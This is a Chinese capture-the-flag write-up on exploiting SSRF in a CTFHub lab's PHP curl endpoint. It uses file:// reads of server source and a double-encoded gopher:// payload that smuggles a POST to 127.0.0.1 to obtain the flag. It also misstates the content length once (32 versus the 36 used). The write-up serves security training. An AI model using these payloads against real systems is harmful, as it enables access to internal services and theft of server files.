目录
本文详细介绍了利用Gopher协议进行CTFHub靶场的SSRF POST关卡的渗透攻击实战过程。首先分析了Gopher协议的特点和工作原理,重点讲解了如何通过Gopher协议构造POST请求绕过HTTP协议限制。随后通过靶场实例,展示了如何利用SSRF安全风险访问内网服务,包括目录探测、源码分析、获取key值等关键步骤。文章详细说明了手工编构造Gopher Payload的方法,最终成功获取flag。整个过程涉及SSRF利用、Gopher协议编码、POST请求构造等技术要点。
一、Gopher协议
1、Gopher简介
gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。
-
特点: 简单、无状态、基于 TCP。
-
工作方式: 客户端向服务器发起一个 TCP 连接(默认端口 70),发送一个字符串(选择器,selector),然后服务器返回相应的文本信息并关闭连接。
-
常用于攻击内网服务: 许多内网服务(如 Redis)没有密码认证或使用弱密码,并且因为它们在内网,通常缺乏严格的输入过滤。通过 SSRF 结合 Gopher 协议,攻击者可以直接与这些服务交互,执行命令。
2、Gopher语法
一个用于攻击的 Gopher URL 需要被精心编码。其基本格式为:
gopher://<host>:<port>/_<TCP数据流>
关键点:
-
_
(下划线): 后面跟随的数据会被直接发送到目标服务器的 TCP 端口。 -
数据流需要经过 URL 编码 : 因为 URL 本身有特殊字符(如
%
,#
,?
),所以原始数据需要被编码,尤其是换行符\r\n
需要被编码为%0D%0A
。 -
第一个字符 : 在数据流中,第一个发送的字符会被忽略(通常是用于表示类型的字符,在传统 Gopher 中已不再需要),所以通常我们会用一个无关字符(如
_
)或空格(编码为%20
)来占位。
二、渗透实战
1、开启题目,打开靶场
打开题目,提示信息为"这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦"。此时点击开启题目,复制URL链接。

打开burpsuite开启抓包模式,firefox浏览器开启代理指向burpsuite。在firefox浏览器打开靶场,访问index.php直接响应HTTP/1.1 302 Found并重定向到/?url=_页面,提示有一个参数名为url,index.php的响应报文如下所示,根据提示我们可以利用url这个参数获取源码内容。
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Mon, 08 Sep 2025 11:50:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
X-Powered-By: PHP/5.6.40
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
2、目录探测
(1)Dirsearch探测
使用dirsearch探测靶场的目录(python dirsearch.py -u 靶场URL -i 200,300-399),如下所示发现有flag.php这个文件,这里我增加了参数-i 限制了响应code的数值,这是因为如果不加的话会有大量的503导致很难找到有意义的文件,如下就是不加参数执行命令(python dirsearch.py -u 靶场URL)的运行结果,需要翻半天才能找到存在flag.php这个文件。

在通过-i参数限制只显示 200 和 3xx后,运行结果如下所示,确认根目录下存在flag.php文件。

(2)查看index.php
通过使用file协议访问index.php的源码,输入?url=file:///var/www/html/index.php的Paylaod进行访问,右键查看源码效果如下所示,显示了index.php的源码内容。

对源码进行详细分析,代码中包含函数curl_exec()函数,说明这是一个存在严重SSRF(服务器端请求伪造)安全风险 的PHP源码,因为 $_REQUEST['url']
直接传递给 CURLOPT_URL,其
参数为URL,源码内容如下所示。
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。
curl_exec($ch); //执行
curl_close($ch);
(3)查看flag.php
接下来构造URL,查看flag.php文件:?url=file:///var/www/html/flag.php。如下所示访问flag页面后发现当前为空页面,使用右键查看源码打开。分析源码,flag.php源码内容如下所示,它告诉我们只有从 127.0.0.1
(即服务器本地)访问此页面时,才会继续执行;否则,显示 "Just View From 127.0.0.1"
并停止。

由于页面只能从 127.0.0.1
访问,普通用户无法直接打开这个页面。因此,通常需要利用 SSRF(服务器端请求伪造) 来绕过 IP 限制。详细注释后的源码分析如下所示。
<?php
// 关闭所有错误报告,避免向用户泄露敏感信息
error_reporting(0);
// 检查客户端的 IP 地址是否为 127.0.0.1(即本地主机)
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return; // 如果不是本地 IP,显示消息并停止执行
}
// 从环境变量中获取 flag 的值,环境变量名为 "CTFHUB"
$flag = getenv("CTFHUB");
// 计算 flag 的 MD5 哈希值,作为密钥
$key = md5($flag);
// 检查用户是否通过 POST 方法提交了 "key" 参数,并且该参数的值等于 $key(flag 的 MD5)
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag; // 如果匹配,输出 flag
exit; // 并退出程序
}
?>
<!-- 下面是一个简单的 HTML 表单,用于提交 key -->
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- 调试信息:在注释中显示 key 的 MD5 值,但用户通常看不到(除非查看页面源代码) -->
<!-- Debug: key=<?php echo $key;?>-->
</form>
通过源码分析,如果想要获取flag,应该满足两个条件:绕过IP限制,通过获取Key值请求flag。
-
问题1:如何绕过 IP 限制?
-
由于只能从本地访问,但 flag 在服务器上,我们需要:利用 SSRF(服务器端请求伪造)
-
找到同一服务器上其他存在 SSRF 安全风险的页面,也就是index.php这个文件
-
通过index.php这个具有SSRF风险的文件让服务器自己访问自己(
127.0.0.1
)
-
-
问题2:如何获取 flag的值?
- key 是 flag 的 MD5,但我们需要先知道 key 才能获取 flag:
- 第一次请求:GET 访问页面,从 HTML 注释中获取 key 值
- 第二次请求:POST 提交获取到的 key值来换取 flag
3、获取Key值
综上分析需通过127.0.0.1去访问服务器以绕过IP限制,故而查看flag.php文件应该使用Payload(/?url=127.0.0.1/flag.php)来拿到KEY,key值为1e7074af2a799d0ffac60de77ed150b6。
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=1e7074af2a799d0ffac60de77ed150b6-->
</form>-->
</form>
4、构造gopher渗透Payload
结合最初页面的提示"这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的",分析如何在ssrf提交post传参,即通过满足如下条件构造报文,这里需要注意content-length的长度32正好是key的长度,也就是通过len(key=1e7074af2a799d0ffac60de77ed150b6)计算得来。
-
用户需要通过 POST 请求提交一个
key
参数。 -
如果提交的
key
与 flag 的 MD5 值(即$key
)相等,则直接输出 flag。POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=1e7074af2a799d0ffac60de77ed150b6
这里就要介绍到gopher协议,通过gopher协议构建一个POST请求包来发送这个KEY,由于Gopher协议需要进行URL编码,故而对如上报文进行编码。对原始报文进行第一次URL编码,编码后如下黄色背景所示。
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=1e7074af2a799d0ffac60de77ed150b6
然后把并把%0A替换成%0d%0A,并且末尾要加上%0d%0a(\r\n)。将%0A
替换成 %0D%0A
的含义是关于 HTTP 协议行结束符的标准格式 。根据 HTTP/1.1 规范(RFC 7230):
HTTP 消息的每行必须以回车符(CR)
\r
和换行符(LF)\n
结束,即\r\n
-
%0A
→ URL 编码的\n
(换行符,Line Feed) -
%0D
→ URL 编码的\r
(回车符,Carriage Return) -
%0D%0A
→ URL 编码的\r\n
(回车+换行)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=1e7074af2a799d0ffac60de77ed150b6%0d%0a
然后再进行第二次URL编码,内容如下所示。
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=1e7074af2a799d0ffac60de77ed150b6%250d%250a
5、获取flag
然后直接构造gopher Payload,使用burpsuite发包,如下所示成功获取到flag。
